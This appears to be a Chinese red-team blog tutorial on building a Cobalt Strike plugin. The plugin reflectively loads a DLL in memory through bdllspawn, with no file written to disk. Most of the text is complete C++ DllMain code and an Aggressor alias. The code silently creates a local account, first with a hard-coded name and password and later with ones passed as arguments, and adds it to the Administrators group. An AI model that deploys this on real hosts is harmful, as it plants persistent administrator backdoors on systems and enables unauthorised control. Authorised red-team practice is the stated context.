前言

Cobalt Strike是目前红队必备的工具, 最近也在学习相关的插件编写,我们渗透的过程中都是有对应的程序,上传到服务器上来实现我们想要的功能,这样都需要exe落地,如何让他不落地呢?

  1. 使用过bexecute_assembly编写C#程序进行不落地加载执行程序。
  2. 其他程序还有bdllspawn通过反射DLL来执行。

Cobalt Strike的bdllspawn是基于项目ReflectiveDLLInjection来实现的。使用开源项目ReflectiveDLLInjection来实现我们的功能,也是接着昨天写的Windows API Tools 来进一步操作。我们只需要把C++编写的功能写到ReflectiveDll.c里即可

环境

系统:Win10
编译环境:Visual Studio 2019
测试环境:Win10

ReflectiveDLL

默认的demo
DLL的主函数在经过DLL_PROCESS_ATTACH的时候,开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。image.png
编译该项目我这里生成x64的DLL

CS测试插件

  1. alias hello {
  2. bdllspawn($1, script_resource("reflective_dll.x64.dll"), $2, "test dll", 5000, false);
  3. }

测试效果

image.png

功能编写

我们今天主要想实现的功能是加用户``密码写入对应的程序,直接copy之前的项目

  1. //===============================================================================================//
  2. // This is a stub for the actuall functionality of the DLL.
  3. //===============================================================================================//
  4. #include "ReflectiveLoader.h"
  5. #include <string>
  6. #include <lm.h>
  7. #pragma comment(lib, "netapi32.lib")
  8. #pragma comment(lib, "Shell32.lib")
  9. // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
  10. // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
  11. // DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
  12. // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
  13. extern HINSTANCE hAppInstance;
  14. //===============================================================================================//
  15. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
  16. {
  17. USER_INFO_1 ui;
  18. DWORD dwLevel = 1;
  19. DWORD dwError = 0;
  20. NET_API_STATUS nStatus;
  21. BOOL bReturnValue = TRUE;
  22. switch( dwReason )
  23. {
  24. case DLL_QUERY_HMODULE:
  25. if( lpReserved != NULL )
  26. *(HMODULE *)lpReserved = hAppInstance;
  27. break;
  28. case DLL_PROCESS_ATTACH:
  29. ui.usri1_name = L"zhangsan";//账号
  30. ui.usri1_password = L"zhangsanfengYYDS!@#123";//密码
  31. ui.usri1_priv = USER_PRIV_USER;
  32. ui.usri1_home_dir = NULL;
  33. ui.usri1_comment = NULL;
  34. ui.usri1_flags = UF_SCRIPT;
  35. ui.usri1_script_path = NULL;
  36. if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
  37. //添加用户成功
  38. printf("Add User successfully\n");
  39. // 添加过的用户加入到administrators组
  40. LOCALGROUP_MEMBERS_INFO_3 account;
  41. account.lgrmi3_domainandname = ui.usri1_name;
  42. if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
  43. {
  44. //添加管理员成功
  45. printf("Add Administrators Group successfully\n");
  46. }
  47. else
  48. {
  49. //添加管理员组失败
  50. printf("Add Administrators Group Fail");
  51. }
  52. }
  53. //
  54. // Otherwise, print the system error.
  55. //
  56. else {
  57. //添加用户失败
  58. printf("Add User Fail");
  59. }
  60. break;
  61. case DLL_PROCESS_DETACH:
  62. case DLL_THREAD_ATTACH:
  63. case DLL_THREAD_DETACH:
  64. break;
  65. }
  66. return bReturnValue;
  67. }

编译后执行已经添加成功了。
image.png

参数处理

前面的属于把账号密码写死到程序里,这样不够灵活,我们需要把lpReserved做一个类型转换将它转换成命令行参数的格式。

定义参数

  1. #include "ReflectiveLoader.h"
  2. #include <string>
  3. #include <lm.h>
  4. #include <shellapi.h>
  5. #pragma comment(lib, "netapi32.lib")
  6. std::string szargs;
  7. std::wstring wszargs;
  8. std::wstring wsHostFile;
  9. int argc = 0;
  10. LPWSTR* argv = NULL;

类型转换

在ReflectiveDLL中是通过DLLMain函数的lpReserved来当做参数传递,我们需要把它转换成命令参数格式的。

  1. //string 转 wstring
  2. std::wstring StringToWString(const std::string& str)
  3. {
  4. int num = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
  5. wchar_t* wide = new wchar_t[num];
  6. MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wide, num);
  7. std::wstring w_str(wide);
  8. delete[] wide;
  9. return w_str;
  10. }
  11. szargs = (PCHAR)lpReserved;
  12. wszargs = StringToWString(szargs);
  13. argv = CommandLineToArgvW(wszargs.data(), &argc);

功能编写

  1. //===============================================================================================//
  2. // This is a stub for the actuall functionality of the DLL.
  3. //===============================================================================================//
  4. #include "ReflectiveLoader.h"
  5. #include <string>
  6. #include <ctime>
  7. #include <stdlib.h>
  8. #include <lm.h>
  9. #include <windows.h>
  10. #include <shellapi.h>
  11. #pragma comment(lib, "netapi32.lib")
  12. #pragma comment(lib, "Shell32.lib")
  13. std::string szargs;
  14. std::wstring wszargs;
  15. std::wstring wsHostFile;
  16. int argc = 0;
  17. LPWSTR* argv = NULL;
  18. //string 转 wstring
  19. std::wstring StringToWString(const std::string& str)
  20. {
  21. int num = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
  22. wchar_t* wide = new wchar_t[num];
  23. MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wide, num);
  24. std::wstring w_str(wide);
  25. delete[] wide;
  26. return w_str;
  27. }
  28. // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
  29. // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
  30. // DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
  31. // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
  32. extern HINSTANCE hAppInstance;
  33. //===============================================================================================//
  34. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
  35. {
  36. USER_INFO_1 ui;
  37. DWORD dwLevel = 1;
  38. DWORD dwError = 0;
  39. NET_API_STATUS nStatus;
  40. BOOL bReturnValue = TRUE;
  41. switch( dwReason )
  42. {
  43. case DLL_QUERY_HMODULE:
  44. if( lpReserved != NULL )
  45. *(HMODULE *)lpReserved = hAppInstance;
  46. break;
  47. case DLL_PROCESS_ATTACH:
  48. if (lpReserved != NULL) {
  49. szargs = (PCHAR)lpReserved;
  50. wszargs = StringToWString(szargs);
  51. argv = CommandLineToArgvW(wszargs.data(), &argc);
  52. }
  53. ui.usri1_name = argv[0];//账号
  54. ui.usri1_password = argv[1];//密码
  55. ui.usri1_priv = USER_PRIV_USER;
  56. ui.usri1_home_dir = NULL;
  57. ui.usri1_comment = NULL;
  58. ui.usri1_flags = UF_SCRIPT;
  59. ui.usri1_script_path = NULL;
  60. if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
  61. //添加用户成功
  62. printf("Add User successfully\n");
  63. // 添加过的用户加入到administrators组
  64. LOCALGROUP_MEMBERS_INFO_3 account;
  65. account.lgrmi3_domainandname = ui.usri1_name;
  66. if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
  67. {
  68. //添加管理员成功
  69. printf("Add Administrators Group successfully\n");
  70. }
  71. else
  72. {
  73. //添加管理员组失败
  74. printf("Add Administrators Group Fail");
  75. }
  76. }
  77. //
  78. // Otherwise, print the system error.
  79. //
  80. else {
  81. //添加用户失败
  82. printf("Add User Fail");
  83. }
  84. break;
  85. case DLL_PROCESS_DETACH:
  86. case DLL_THREAD_ATTACH:
  87. case DLL_THREAD_DETACH:
  88. break;
  89. }
  90. return bReturnValue;
  91. }

测试效果

image.png

Reference

https://payloads.online/archivers/2020-03-02/1/ https://github.com/stephenfewer/ReflectiveDLLInjection https://blog.csdn.net/weixin_43956962/article/details/105843803 https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn https://uknowsec.cn/posts/notes/ https://blog.csdn.net/weixin_42837024/article/details/106278980